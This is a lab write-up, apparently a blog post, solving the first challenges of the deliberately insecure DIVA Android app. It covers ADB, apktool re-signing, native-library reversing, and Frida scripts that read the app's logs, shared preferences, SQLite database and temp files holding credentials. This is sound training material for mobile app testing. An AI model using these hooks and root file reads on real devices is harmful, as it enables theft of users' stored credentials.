[OWASP MASTG] Android - DIVA (Damn Insecure and Vulnerable App)

[OWASP MASTG] Android - DIVA (Damn Insecure and Vulnerable App)

·

31 min read

Just another Lab Setup / ADB / JADX / Apktool / Frida / Logcat / Native Lib / Insecure Storage / Input Validation / Access Control Write-up.

Github page. Web page. APK link. OWASP page.

DIVA (Damn insecure and vulnerable App) is an [Android] App intentionally designed to be insecure. The aim of the App is to teach developers/QA/security professionals, flaws that are generally present in the Apps due poor or insecure coding practices.

If you are reading this you want to either learn [Android] App pentesting or secure coding and I sincerely hope that DIVA solves your purpose. So, sit back and enjoy the ride.

Lab setup

To audit an android application, it is preferable to get access to a rooted device, in which the application will be installed. This can be mainly done in 2 ways: through a Virtual Machine, or a real device.

Virtual Machine - Android x86_64 VM

Let's install an Android 9 Virtual Machine in VirtualBox.

  1. With VirtualBox, make sure to select Ubuntu64 OS in the settings and boot this ISO.

  2. Set the following VM Display Settings:

    • Video Memory: 64MB.

    • Graphics Controller: VMSVGA.

    • Extended Features: Check Enable 3D Acceleration.

  3. Choose the auto installation in the Advanced Options.

  4. When the Android VM is installed, press e twice in the GRUB menu, and edit the boot command to the one below and press Enter then b:

grub edit> kernel /android-9.0-r2/kernel nomodeset xforcevesa root=/dev/ram0 SRC=/android-9.0-r2

We may replace nomodeset xforcevesa by vga=ask to change the Android’s resolution.

  1. In the main Android Home screen, press ALT+F1 to open a TTY shell and make the above grub setting permanent:
console:/ # mkdir /mnt
console:/ # mount /dev/block/sda1 /mnt
console:/ # vi /mnt/grub/menu.lst

default=0
timeout=1
[...]
        kernel /android-9.0-r2/kernel nomodeset xforcevesa root=/dev/ram0 SRC=/android-9.0-r2
[...]
  1. Enable native bridge in Settings > Android-x86 options.

Now, open the Terminal Emulator and make sure you have root access:

If you want this VM to :

  • Access the Internet, you may configure its network adapter to NAT (if your host accesses the Internet).

  • Access the same network as another VM (e.g. a kali attacking machine), you may configure its network adapter to Host-Only (same goes for the attacking machine).

Device Jailbreak - Samsung Galaxy S6 Edge

If we use the above Android VM to make the tests, this Device Jailbreak section becomes optional.

I’ve done the below jailbreaking steps on my own phone, namely the Samsung Galaxy S6 Edge SM-G925F (zeroltexx) model. Do NOT use the same TWRP file below, or it will likely brick your phone. Make sure to either check how to jailbreak your own phone by yourself. Otherwise, skip this section.

In the context of this article, I’ll use the above Android VM.

The process to jailbreak a Samsung Galaxy S6 Edge ([1], [2], [3]):

  1. Install Odin Flashing Tool.

  2. Download SuperSU and copy it on the phone's storage.

  3. Power off the phone and launch the recovery mode pressing the buttons Home + Power + Vol Down.

  4. Connect the phone to the computer over USB.

  5. In Odin > AP, select the twrp-3.1.0-0-zeroflte.img.tar file and click Start. The phone will reboot on the TWRP menu (if not, the TWRP menu can be opened using Home + Power + Vol Up).

  6. Select Install and choose the SuperSU file, then reboot.

  7. If TWRP proposes to install the TWRP App, choose Do Not Install !! (this might cause Infinite Boot Loop).

Lab Networking

First, let’s setup the following network settings in 2 Virtual Machines:

  • Kali Linux: Network Adapter 1 - NAT, Network Adapter 2 - Host-Only.

  • Android VM: Network Adapter 1 - Host-Only.

That way, our kali machine has access to the internet through our host (NAT). But it has also access to the same network as the Android VM, as they’re both connect to the Virtual Box’s private network Host-Only (in 192.168.56.0/24 here):

jamarir@kali:~$ ip a |grep -P '^\d|inet .*'
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    inet 192.168.56.3/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    inet 192.168.42.191/24 brd 192.168.42.255 scope global dynamic noprefixroute eth1

The IPs are: 192.168.56.3 (Kali) and 192.168.56.110 (Android).

Toolset

We’ll need to install some tools in our kali machine to test an Android application. Let’s get a TLDR overview of each tool, and install them.

ADB (Android Debugger Bridge)

ADB is a command-line tool allowing to communicate with an Android device. The ADB communication is based upon 3 components: a client (kali), a server (kali), and a deamon (adbd) running on each device (kali & Android):

jamarir@kali:~$ sudo apt install android-sdk adb

This communication can be done through the network (on port 5555-5585 by default), or through USB port. When the network is used, the adb server discovers the remote android devices by looking for any open 5555-5585 ports running adbd.

To allow ADB to run on the android device, USB debugging must be enabled (see here, or here).

Therefore, our kali machine may communicate with our Android target through ADB:

jamarir@kali:~$ adb connect 192.168.56.110:5555
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 192.168.56.110:5555

jamarir@kali:~$ adb devices -l
List of devices attached
192.168.56.110:5555    device product:android_x86_64 model:VirtualBox device:x86_64 transport_id:1

jamarir@kali:~$ ss -tupln |grep adb
tcp   LISTEN 0      4096            127.0.0.1:5037      0.0.0.0:*    users:(("adb",pid=23868,fd=9))

If Android devices have already been connected, we may disconnect ourselves, and kill the ADB server with the following command:

jamarir@kali:~$ adb disconnect; adb kill-server

We’re now connected to the Android device with ADB. For instance, we may run arbitrary commands on the device:

jamarir@kali:~$ adb shell whoami
shell
jamarir@kali:~$ adb shell su -c 'whoami'
root

Lots of ADB cheatsheets exist; here are some of them to name a few: Linuxndroid, randorisec, hacktrickz.

But most importantly, we can install our DIVA APK file:

jamarir@kali:~$ curl -Lo diva-beta.tar.gz http://www.payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz
jamarir@kali:~$ tar xvf diva-beta.tar.gz
jamarir@kali:~$ adb install diva-beta.apk
Performing Streamed Install
Success

JADX (Android Dex & Apk 2 Java Decompiler)

JADX is an android app GUI decompiler. It basically generates Java-like code based on Android DEX and APK files.

jamarir@kali:~$ sudo apt install jadx

As the Android Developer page on Application fundamentals states, an APK (Android PacKage) file contains the app’s content required at runtime, and can be installed on android devices.

Understanding DEX (Dalvik EXecutable) files is out of the scope of the current article.

For more broad details about the Android architecure, you may check the OWASP MASTG Android page, or the android documentation.

For instance, opening the DIVA APK file in JADX shows the following decompiled Java code:

jamarir@kali:~$ jadx-gui &

Apktooling & SigningApk

Apktool is a tool (oh?!) to reverse Android APK files. In a nutshell, this tool can disassemble, assemble and analyze the apk:

As its introduction states:

Apks are nothing more than a zip file containing resources and assembled java code. If you were to simply unzip an apk like so, you would be left with files such as classes.dex and resources.arsc.

[…] Obviously, editing or viewing a compiled file is next to impossible. That is where Apktool comes into play.

[…] In addition to XMLs, resources such as 9 patch images, layouts, strings, and much more are correctly decoded to source form.

When installed from the kali’s repo, apktool is, for some mystic reasons, dirty:

jamarir@kali:~$ sudo apt install apktool
jamarir@kali:~$ apktool --version
2.7.0-dirty

Therefore, we may instead download the latest version from the official GitHub’s installation page:

jamarir@kali:~$ sudo apt purge apktool
jamarir@kali:~$ curl -o ~/.local/bin/apktool https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
jamarir@kali:~$ curl -Lo ~/.local/bin/apktool.jar https://github.com/iBotPeaches/Apktool/releases/download/v2.10.0/apktool_2.10.0.jar
jamarir@kali:~$ chmod +x ~/.local/bin/apktool*

Apktool is no longer dirty, so we can keep our hands clean:

jamarir@kali:~$ apktool --version
2.10.0

Now, we may decompile an APK file, patch it locally, and reassemble it:

jamarir@kali:~$ apktool d diva-beta.apk
jamarir@kali:~$ vim diva-beta/res/values/strings.xml
[...]
    <string name="dwelcome"><b>Welcome to patched DIVA!</b></string>
[...]

jamarir@kali:~$ apktool b diva-beta
[...]
I: Built apk into: diva-beta/dist/diva-beta.apk

However, we can’t directly install APK builds into our device:

jamarir@kali:~$ adb install diva-beta/dist/diva-beta.apk
Performing Streamed Install
adb: failed to install diva-beta/dist/diva-beta.apk: Failure [INSTALL_PARSE_FAILED_NO_CERTIFICATES: Failed to collect certificates from /data/app/vmdl1454895644.tmp/base.apk: Attempt to get length of null array]

As the documentation says, that’s because every app that run on an Android platform must be signed. Otherwise, the APK is rejected by either Google Play, or the package installer. Indeed, apps that are signed:

  • On Google Play puts a Google - Developer - App trust chain.

  • On Android puts the app in an isolated sandbox (through a unique user ID per certificate).

      jamarir@kali:~$ adb shell ps |grep ^u0_ |sort
      u0_a12        6716  1106 3328992  95756 0                   0 S com.google.android.setupwizard
      u0_a14        5445  1106 3316068  79388 0                   0 S com.farmerbb.taskbar.androidx86
      u0_a17        1393  1106 3634328 214648 0                   0 S com.android.systemui
      u0_a28        1793  1106 4252808 234136 0                   0 S com.google.android.googlequicksearchbox:interactor
      u0_a28        4458  1106 21120832 340364 0                  0 S com.google.android.googlequicksearchbox:search
      u0_a29        6679  1106 3322244  92108 0                   0 S com.google.android.partnersetup
      u0_a33        5141  1106 3504496 210640 0                   0 S com.android.vending
      u0_a33        5357  1106 3443616 154800 0                   0 S com.android.vending:background
      u0_a33        6566  1106 3435932 145276 0                   0 S com.android.vending:quick_launch
      u0_a40        1825  1106 3502596 220452 0                   0 S com.android.launcher3
      u0_a5         1811  1106 3320404  92776 0                   0 S org.android_x86.analytics
      u0_a6         5177  1106 3315840  91900 0                   0 S android.process.media
      u0_a70        5482  1107 1222248  91580 0                   0 S com.android.chrome:webview_service
      u0_a71        1384  1106 3345384 130592 0                   0 S com.android.inputmethod.latin
      u0_a8         1758  1106 3769416 376824 0                   0 S com.google.android.gms.persistent
      u0_a8         1875  1106 3324976  93400 0                   0 S com.google.process.gservices
      u0_a8         4100  1106 3872232 302560 0                   0 S com.google.android.gms
      u0_a8         5246  1106 3318952  90788 0                   0 S com.google.process.gapps
      u0_a8         5331  1106 3699412 218960 0                   0 S com.google.android.gms.unstable
      u0_i3         4542  1425 1308908 101204 0                   0 S com.android.chrome:sandboxed_process0
      u0_i4         5508  1425 1228540  86960 0                   0 S com.android.chrome:sandboxed_process0
    

As said above, each APK must be signed. It’s also worth mentionning that:

  • Each updated version of an application MUST be signed with the same key.

  • Each application signed with the same key have a shared user ID, thus they access shared data in the filesystem.

To manually sign the APK, we’ll need to:

  • Create a private key (at least once) in a local keystore using keytool:

      jamarir@kali:~$ keytool -genkeypair -v -keystore dummy.keystore -alias dummy -keyalg RSA -keysize 2048 -validity 10000
    
  • Zipalign the APK, to allow the Android device to quickly load the APK’s resources. This increases the app’s performance, and potentially reduces memory usage:

    Xamarin.Android won’t allow to run applications that haven’t been zipaligned. Nonetheless, zipaligning the application might be optional.

    The zipalign package from apt might be broken and return an undefined symbol error:

    jamarir@kali:~$ zipalign
    zipalign: symbol lookup error: zipalign: undefined symbol: _ZN11zip_archive6WriterD2Ev
    

    Instead, install the 8.1.0+r23 package from the ubuntu’s repo:

    jamarir@kali:~$ sudo apt purge zipalign
    jamarir@kali:~$ curl -o /tmp/zipalign.deb http://archive.ubuntu.com/ubuntu/pool/universe/a/android-platform-build/zipalign_8.1.0+r23-3ubuntu2_amd64.deb
    jamarir@kali:~$ sudo dpkg -i /tmp/zipalign.deb
    

    This zipalignment must be performed:

    • AFTER signing the APK with jarsigner.

    • BEFORE signing the APK with apksigner.

      jamarir@kali:~$ zipalign -f -v 4 diva-beta/dist/diva-beta.apk diva-beta-patched.apk
      Verifying alignment of diva-beta-patched.apk (4)...
            44 resources.arsc (OK)
        234213 AndroidManifest.xml (OK - compressed)
      [...]
        488785 classes.dex (OK - compressed)
      Verification successful
    
  • Sign the APK with apksigner:

      jamarir@kali:~$ apksigner sign --ks dummy.keystore --ks-key-alias dummy diva-beta-patched.apk
    

Again, if we use jarsigner (for old APKs), the signing process must be done BEFORE zipalign:

jamarir@kali:~$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore dummy.keystore diva-beta-patched.apk dummy
[...]
>>> Signer
    X.509, CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown
    Signature algorithm: SHA384withRSA, 2048-bit key
    [trusted certificate]

jar signed.

Warning:
The signer's certificate is self-signed.
The SHA1 algorithm specified for the -digestalg option is considered a security risk and is disabled.
The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk and is disabled.

We may now enjoy our statically patched APK :)

jamarir@kali:~$ adb install diva-beta-patched.apk

Frida & Frida Server

For any pip installation, it’s prefered to use a virtual environment (using the python’s venv or pipx), instead of pip. A virtual environment creates an isolated Python package sandbox. That way, we avoid conflicts between multiple python installations.

pip outside a virtual environment will BREAK your python’s dependencies. pip outside a virtual environment is NOT recommended. pip outside a virtual environment is BAD.

If you know what you’re doing (and, honestly, you enjoy taking dangerous risks), use pip outside a virtual environment. Otherwise, you’re likely to ultimately break all of your system’s python packages, and get this frightening message everytime you try to install a tool requiring python packages:

jamarir@kali:~$ pip install -r requirements.txt
error: externally-managed-environment

× This environment is externally managed
╰─> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
[...]
See /usr/share/doc/python3.11/README.venv for more information.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. 
You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

When we see that the system has nothing better to advise than the --break-system-package option, it definitely feels like we've ventured into a very dark place.

With the following entry in our shell’s profile, we make sure that every shell loads a pip virtual environment:

jamarir@kali:~$ python3 -m venv ~/.venv
jamarir@kali:~$ echo 'source ~/.venv/bin/activate' >> ~/.zshrc
jamarir@kali:~$ zsh

You’ve been warned. Don’t hurt yourself.

In a nutshell, Frida is a dynamic code instrumentation toolkit. It can hook (intercept) the application’s functions and patch them with a custom JavaScript code we control (client-side).

jamarir@kali:~$ pip install frida frida-tools

To run Frida on our Android device, we first need to upload (i.e. push) a frida server file to the android device:

jamarir@kali:~$ wget https://github.com/frida/frida/releases/download/16.3.3/frida-server-16.3.3-android-x86_64.xz
jamarir@kali:~$ unxz frida-server*.xz
jamarir@kali:~$ adb push frida-server* /data/local/tmp/frida-server

To know which frida server to download for an android device, we may check the device’s CPU architecture:

jamarir@kali:~$ adb shell getprop ro.product.cpu.abi
x86_64

The /data/local/tmp/ folder in the Android device is writable by non-privileged users. Thus, it’s a good spot to upload our files and payloads (like /dev/shm/ in Linux, or C:\Windows\Tasks\ in Windows).

Then, we run frida-server as root in the Android device:

jamarir@kali:~$ adb shell 'su -c "chmod +x /data/local/tmp/frida-server"'
jamarir@kali:~$ (adb shell 'su -c "/data/local/tmp/frida-server --listen 0.0.0.0 &"' &)

You can use the following one-liner to kill any running frida-server in the Android device:

jamarir@kali:~$ adb shell 'ps |grep frida-server |grep -oE "[0-9]+" |head -1' |read pid; adb shell "su -c 'kill $pid'"

By default, frida runs on port 27042, which might be changed if we like:

jamarir@kali:~$ (adb shell 'su -c "/data/local/tmp/frida-server --listen 0.0.0.0:55555 &"' &)

For example, we may use frida-ps to list processes on the device (either over the network (-H <rhost>:<rport>), or USB (-U)):

jamarir@kali:~$ frida-ps -H 192.168.56.110:27042 -ai
jamarir@kali:~$ frida-ps -Uai
 PID  Name                               Identifier
----  ---------------------------------  ---------------------------------------
1781  Google                             com.google.android.googlequicksearchbox
1781  Google                             com.google.android.googlequicksearchbox
3857  Settings                           com.android.settings
4922  Terminal Emulator                  com.termoneplus
[...]

We could also patch an application’s logic at runtime using JADX to analyse the decompiled code, and the Frida’s Interceptor to perform the patch:

jamarir@kali:~$ cat patch.js
Java.perform(function() {
    var String = Java.use("java.lang.String");
    Java.use("jakhar.aseem.diva.MainActivity").onCreate.overload("android.os.Bundle").implementation = function(savedInstanceState) {
        var alert = Java.use("android.app.AlertDialog$Builder").$new(this);
        alert.setTitle(String.$new("Dynamically patched !"));
        alert.setMessage(String.$new("At runtime!"));
        alert.create().show();
        return this.onCreate.overload("android.os.Bundle").call(this, savedInstanceState);
    };
});

We may now enjoy our dynamically patched APK :)

jamarir@kali:~$ frida -U -f jakhar.aseem.diva -l patch.js

Having an in-depth understanding of this frida patch is out of the scope of the current article.

The popup patch was inspired by this frida codeshare, and this kyzsuukii project.

Let’s DIVA it !

When we open the DIVA app, we’re welcomed with a bunch of challenges. Let’s do them one by one.

Note that the DIVA’s package name is jakhar.aseem.diva:

jamarir@kali:~$ frida-ps -Uai
 PID  Name                               Identifier
----  ---------------------------------  ---------------------------------------
2524  Diva                               jakhar.aseem.diva
[...]

1 - Insecure Logging

The Insecure Logging view asks us to register a credit card number:

When we enter a credit card number, an error occurs:

But this error is likely to be logged. We may check that using logcat:

jamarir@kali:~$ adb shell logcat 
[...]
<DATE>  2524  2524 E diva-log: Error while processing transaction with credit card: 99999999999999999999999999
[...]

As shown in the OWASP MASTG document, we may retrieve the DIVA’s logs exclusively with the following command, which makes the output less verbose:

jamarir@kali:~$ adb logcat |grep "$(adb shell ps |grep jakhar.aseem.diva |awk '{print $2}')"
<DATE>  1258  1275 I ActivityManager: Start proc 2524:jakhar.aseem.diva/u0a76 for activity jakhar.aseem.diva/.MainActivity
<DATE>  2524  2524 W ActivityThread: handleWindowVisibility: no activity for token android.os.BinderProxy@1b8b98a
<DATE>  2524  2524 I AssistStructure: Flattened final assist data: 3132 bytes, containing 1 windows, 9 views
<DATE>  2524  2524 E diva-log: Error while processing transaction with credit card: 99999999999999999999999999

We might even filter the log entries to be shown. For instance, we know our input generated an error. According to the logcat documentation, the lowest priority tag is V (Verbose), and the highest is S (Silent):

Filtering warnings with the following logcat command will then give us the W logs and above (i.e. W, E, F, S):

jamarir@kali:~$ adb logcat '*:W' | grep "$(adb shell ps | grep jakhar.aseem.diva | awk '{print $2}')"
<DATE>  2524  2524 W ActivityThread: handleWindowVisibility: no activity for token android.os.BinderProxy@1b8b98a
<DATE>  2524  2524 E diva-log: Error while processing transaction with credit card: 99999999999999999999999999

However, as the Android documentation states on Secret and Privacy, PII (Personally Identifiable Information) shouldn’t be logged. Indeed, if an attacker has an ADB access to the victim’s device, he might eavesdrop logged data and steal sensitive information.

2 - Hardcoding issues

H4v3 U J4DX’ed Th4t 4PK ?

The first part of this hardcoding category challenge asks a vendor key:

Entering an invalid vendor key returns a quite violent message oO:

As mentionned previously, we may decompile the APK in JADX and look for vendor key, or Access denied strings for example:

Here we see that the vendor key is defined in the application’s strings. We may recursively go a step further by looking where this element is used in the application:

Which brings us in the jakhar.aseem.diva.HardcodeActivity.access() function:

H4v3 U R3v3rs3d Th4t N4t1v3L1b ?

The second hardcoding challenge has the exact same screen layout, except that the function checking the access is jakhar.aseem.diva.Hardcode2Activity.access():

This time, the verification is performed against the djni.access() function:

As we can see, 2 functions are defined: access() and initiateLaunchSequence(). Howbeit, they’re not coded in our decompiled Java code. Instead, the DivaJni class gets the definition of these functions from the native library named divajni. This is possible using the JNI (Java Native Interface), which allows Java code to load and use other programming languages libraries (e.g. C, C++, Assembly).

Native lib’s architecture ?

As shown in the Android documentation, native libraries are loaded via System.loadLibrary(). This function takes the library‘s undecorated name to load (related IBM documentation). For example, if the undecorated library’s name is divajni, then the libdivajni.so file (Shared Object) will be loaded.

Loaded libraries are stored in the APK. So let’s disassemble our APK via Apktool:

jamarir@kali:~$ apktool d diva-beta.apk

And look for the libraries inside:

jamarir@kali:~$ find diva-beta/ -type f -name '*.so'
diva-beta/lib/mips/libdivajni.so
diva-beta/lib/armeabi-v7a/libdivajni.so
diva-beta/lib/x86_64/libdivajni.so
diva-beta/lib/x86/libdivajni.so
diva-beta/lib/arm64-v8a/libdivajni.so
diva-beta/lib/mips64/libdivajni.so
diva-beta/lib/armeabi/libdivajni.so
diva-beta/build/apk/lib/mips/libdivajni.so
diva-beta/build/apk/lib/armeabi-v7a/libdivajni.so
diva-beta/build/apk/lib/x86_64/libdivajni.so
diva-beta/build/apk/lib/x86/libdivajni.so
diva-beta/build/apk/lib/arm64-v8a/libdivajni.so
diva-beta/build/apk/lib/mips64/libdivajni.so
diva-beta/build/apk/lib/armeabi/libdivajni.so

Which one to analyze ? Well, we have to look for the maps (mapped memory regions) loaded by the application:

For a shared library to appear in the maps, it must have been loaded by the application at least once. Therefore, we must first enter an arbitrary vendor key in Hadcoding Issues - Part 2 to load our libdivajni.so library.

jamarir@kali:~$ adb shell 'ps |grep diva'
u0_a94        8702  1106 3363472 156540 ep_poll             0 S jakhar.aseem.diva

jamarir@kali:~$ adb shell 'su -c "grep divajni /proc/8702/maps"'
77ac90c48000-77ac90c49000 r-xp 00000000 08:01 328041                     /data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==/lib/x86_64/libdivajni.so
77ac90c49000-77ac90c4a000 r--p 00000000 08:01 328041                     /data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==/lib/x86_64/libdivajni.so
77ac90c4a000-77ac90c4b000 rw-p 00001000 08:01 328041                     /data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==/lib/x86_64/libdivajni.so

The native library’s architecture used is x86_64. We’ll therefore reverse diva-beta/lib/x86_64/libdivajni.so.

Native lib’s reversed ?

The native library is a compiled shared object:

jamarir@kali:~$ file diva-beta/lib/x86_64/libdivajni.so
diva-beta/lib/x86_64/libdivajni.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, stripped

In particular, we can use reversing tools such as Ghidra, or Cutter for example, to check the library’s code. Let’s try Cutter:

jamarir@kali:~$ curl -Lo ~/.local/bin/cutter https://github.com/rizinorg/cutter/releases/download/v2.3.4/Cutter-v2.3.4-Linux-x86_64.AppImage
jamarir@kali:~$ chmod +x ~/.local/bin/cutter

The Cutter’s overview shows this is a C++ library.

When any native library is loaded, its JNI_OnLoad() function is called, which simply returns the lib’s JNI version.

The function we’re interested in is the access() one:

This function checks, character by character, from end to start (using iVar2 as an index), if our input (pcVar1) is equal to the secret key (pcVar3).

If there’s at least one comparison mismatch (uVar4==false), then the do{} while() loop stops, and returns uVar4=false. Otherwise, the loop ends (iVar2==0), and the function returns the default true value (uVar4=1).

3 - Insecure Data Storage

Check the Android documentation on Data and file storage for more details.

Don’t steal my SharedPrefs plz

In the first Insecure Data Storage part, we’re asked to save a username and password:

Once credentials are saved, the challenge’s name suggests that these information are insecurely stored. Indeed, looking at the decompiled code in JADX, we see that these credentials are stored in the default shared preferences:

As the documentation states, the SharedPreferences API is used to store and read small key-values entries. However, these entries are stored a cleartext XML in the Android’s filesystem, as shown in the OWASP MASTG document:

jamarir@kali:~$ adb shell 'su -c "cat /data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml"'
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">P@ssw0rd123!</string>
    <string name="user">admin</string>
</map>

This shared preferences file is readable / writable by the user u0_a94, the user who specifically runs the DIVA application:

jamarir@kali:~$ adb shell 'ls -l /data/data/jakhar.aseem.diva/shared_prefs/*_preferences.xml'
-rw-rw---- 1 u0_a94 u0_a94 159 <DATE> /data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml

For example, this file isn’t readable by the u0_a69 user, running the terminal emulator TermOne Plus:

Therefore, the only way we can read this sensitive file is either to be root on the device:

jamarir@kali:~$ adb shell 'su -c "cat /data/data/jakhar.aseem.diva/shared_prefs/*_preferences.xml"'
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">P@ssw0rd123!</string>
    <string name="user">admin</string>
</map>

Or to patch the app using frida, in order to impersonate the application’s user (i.e. u0_a94):

jamarir@kali:~$ cat patch.js
Java.perform(function() {
    var open = new NativeFunction(Module.getExportByName('libc.so', 'open'), 'int', ['pointer', 'int']);
    var read = new NativeFunction(Module.getExportByName('libc.so', 'read'), 'int', ['int', 'pointer', 'int']);
    var close = new NativeFunction(Module.getExportByName('libc.so', 'close'), 'int', ['int']);
    var fd = open(Memory.allocUtf8String('/data/data/jakhar.aseem.diva/shared_prefs/jakhar.aseem.diva_preferences.xml'), 0);
    if (fd != -1) {
        var buffer = Memory.alloc(0x999);
        var result = read(fd, buffer, 0x999);
        close(fd);
        console.log(buffer.readCString())
    }
});
jamarir@kali:~$ frida -U -f jakhar.aseem.diva -l patch.js
[...]
Spawned `jakhar.aseem.diva`. Resuming main thread!
[VirtualBox::jakhar.aseem.diva ]-> <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="password">P@ssw0rd123!</string>
    <string name="user">admin</string>
</map>

Understanding throughly this frida patch is out of the scope of the current article. But in a nutshell, we use APK-imported libc functions (open, read and close) to read the shared preferences on behalf of the application’s user (i.e. u0_a94).

Don’t steal my SQliteDB plz

Similarly as above, the username and password provided are stored in the device. More specifically, in a database named ids2:

The database is opened via the openOrCreateDatabase() function. The most interesting thing is the first parameter, which is the database’s path, set to ids2.

Looking in the application’s data folder, we see that this file is stored in /data/data/jakhar.aseem.diva/databases:

jamarir@kali:~$ adb shell 'su -c "ls -l /data/data/jakhar.aseem.diva/databases/"'
total 88
-rw-rw---- 1 u0_a94 u0_a94  4096 <DATE> divanotes.db
-rw------- 1 u0_a94 u0_a94 32768 <DATE> divanotes.db-shm
-rw------- 1 u0_a94 u0_a94 32992 <DATE> divanotes.db-wal
-rw-rw---- 1 u0_a94 u0_a94 16384 <DATE> ids2

Well, reading it discloses (again) the registered creds. We can either:

  • Pull the database and extract the information locally:

    To run adb pull as root, we must firstly run adb root to become root with adb.

      jamarir@kali:~$ adb root
      restarting adbd as root
    
      jamarir@kali:~$ adb pull /data/data/jakhar.aseem.diva/databases/ids2
      /data/data/jakhar.aseem.diva/databases/ids2: 1 file pulled, 0 skipped. 1.1 MB/s (16384 bytes in 0.015s)
    
      jamarir@kali:~$ adb unroot
      restarting adbd as non root
    
      jamarir@kali:~$ sqlite3 ids2 '.databases' '.tables' 'SELECT * FROM myuser'
      main: /tmp/a/ids2 r/w
      android_metadata  myuser
      admin|P@ssw0rd123!
    
  • Or read the file in the remote Android device directly:

      jamarir@kali:~$ adb shell 'su -c "sqlite3 /data/data/jakhar.aseem.diva/databases/ids2 '\''SELECT * FROM myuser'\''"'
      admin|P@ssw0rd123!
    

Don’t steal my TempFile plz

Now, the credentials are stored in a local temporary file in the application’s data directory. This file, named uinfo[...]tmp, is created by the createTempFile() function :

jamarir@kali:~$ adb shell 'su -c "find / -name uinfo* -exec ls -l {} \; 2>/dev/null"'
-rw------- 1 u0_a94 u0_a94 19 <DATE> /data/data/jakhar.aseem.diva/uinfo55762962758247758tmp

jamarir@kali:~$ adb shell 'su -c "cat /data/data/jakhar.aseem.diva/uinfo55762962758247758tmp"'
admin:P@ssw0rd123!

Don’t steal my WritableFile plz

This time, when we try to save our credentials, an error occurs:

That’s because we don’t have the write permissions on the filesystem. Let’s check the application’s permissions using the dumpsys command, which returns an application’s configurations dump:

jamarir@kali:~$ adb shell dumpsys package jakhar.aseem.diva
[...]
Packages:
  Package [jakhar.aseem.diva] (b759702):
    userId=10094
    pkg=Package{2a01813 jakhar.aseem.diva}
    codePath=/data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==
    resourcePath=/data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==
    legacyNativeLibraryDir=/data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==/lib
[...]
    flags=[ DEBUGGABLE HAS_CODE ALLOW_CLEAR_USER_DATA ALLOW_BACKUP ]
    dataDir=/data/user/0/jakhar.aseem.diva
[...]
    requested permissions:
      android.permission.WRITE_EXTERNAL_STORAGE
      android.permission.READ_EXTERNAL_STORAGE
      android.permission.INTERNET
    install permissions:
      android.permission.INTERNET: granted=true
[...]
      runtime permissions:

[...]

Notice that the application’s :

  • userId is 10094 (for the user u0_a94).

  • Native libraries are stored in /data/app/jakhar.aseem.diva-*/lib/:

      jamarir@kali:~$ adb shell 'su -c "ls -l /data/app/jakhar.aseem.diva-9hjqahl5QJolzBnQ7XaQjg==/lib/x86_64"'
      total 8
      -rwxr-xr-x 1 system system 5704 <DATE> libdivajni.so
    
  • /data/user/0/ folder is a symbolic link to /data/data/ :

      jamarir@kali:~$ adb shell 'su -c "ls -l /data/user"'
      total 0
      lrwxrwxrwx 1 root root 10 <DATE> 0 -> /data/data
    
      jamarir@kali:~$ adb shell 'su -c "ls -l /data/user/0/jakhar.aseem.diva/"'
      total 24
      drwxrws--x 2 u0_a94 u0_a94_cache 4096 <DATE> cache
      drwxrws--x 2 u0_a94 u0_a94_cache 4096 <DATE> code_cache
      drwxrwx--x 2 u0_a94 u0_a94       4096 <DATE> databases
      drwx--x--x 3 u0_a94 u0_a94       4096 <DATE> oat
      drwxrwx--x 2 u0_a94 u0_a94       4096 <DATE> shared_prefs
      -rw------- 1 u0_a94 u0_a94         19 <DATE> uinfo55762962758247758tmp
    

FileWriter.write() saves the credentials in the Android’s filesystem:

However, as the application’s configurations show, the WRITE_EXTERNAL_STORAGE permission is requested, but currently not granted.

This permission wasn’t requested by the application during installation. I thought this was because we installed it via ADB. So I installed it using the VM instead :

jamarir@kali:~$ adb uninstall jakhar.aseem.diva
Success

jamarir@kali:~$ adb push diva-beta.apk /storage/emulated/0/Download/
diva-beta.apk: 1 file pushed, 0 skipped. 13.7 MB/s (1502294 bytes in 0.105s)

In the VM, we may use ES File Explorer if the native file explorer app crashes.

Nevertheless, installing the app using the VM’s GUI doesn’t request the permissions neither.

Maybe the fact that the application explicitely requests permissions to the user hasn’t been implement by the developers ? Maybe ?

As the Android media’s documentation says: “If you want to modify media files, you must request the WRITE_EXTERNAL_STORAGE permission, as well.” Then, let’s grant the application this permission in the settings:

The application must be stopped to edit its permissions.

Without a surprise, we can now register our credentials within the application, and steal them from the written local file:

jamarir@kali:~$ adb shell 'ls -l /storage/emulated/0/.uinfo.txt'
-rw-rw---- 1 root sdcard_rw 19 <DATE> /storage/emulated/0/.uinfo.txt

jamarir@kali:~$ adb shell 'cat /storage/emulated/0/.uinfo.txt'
admin:P@ssw0rd123!

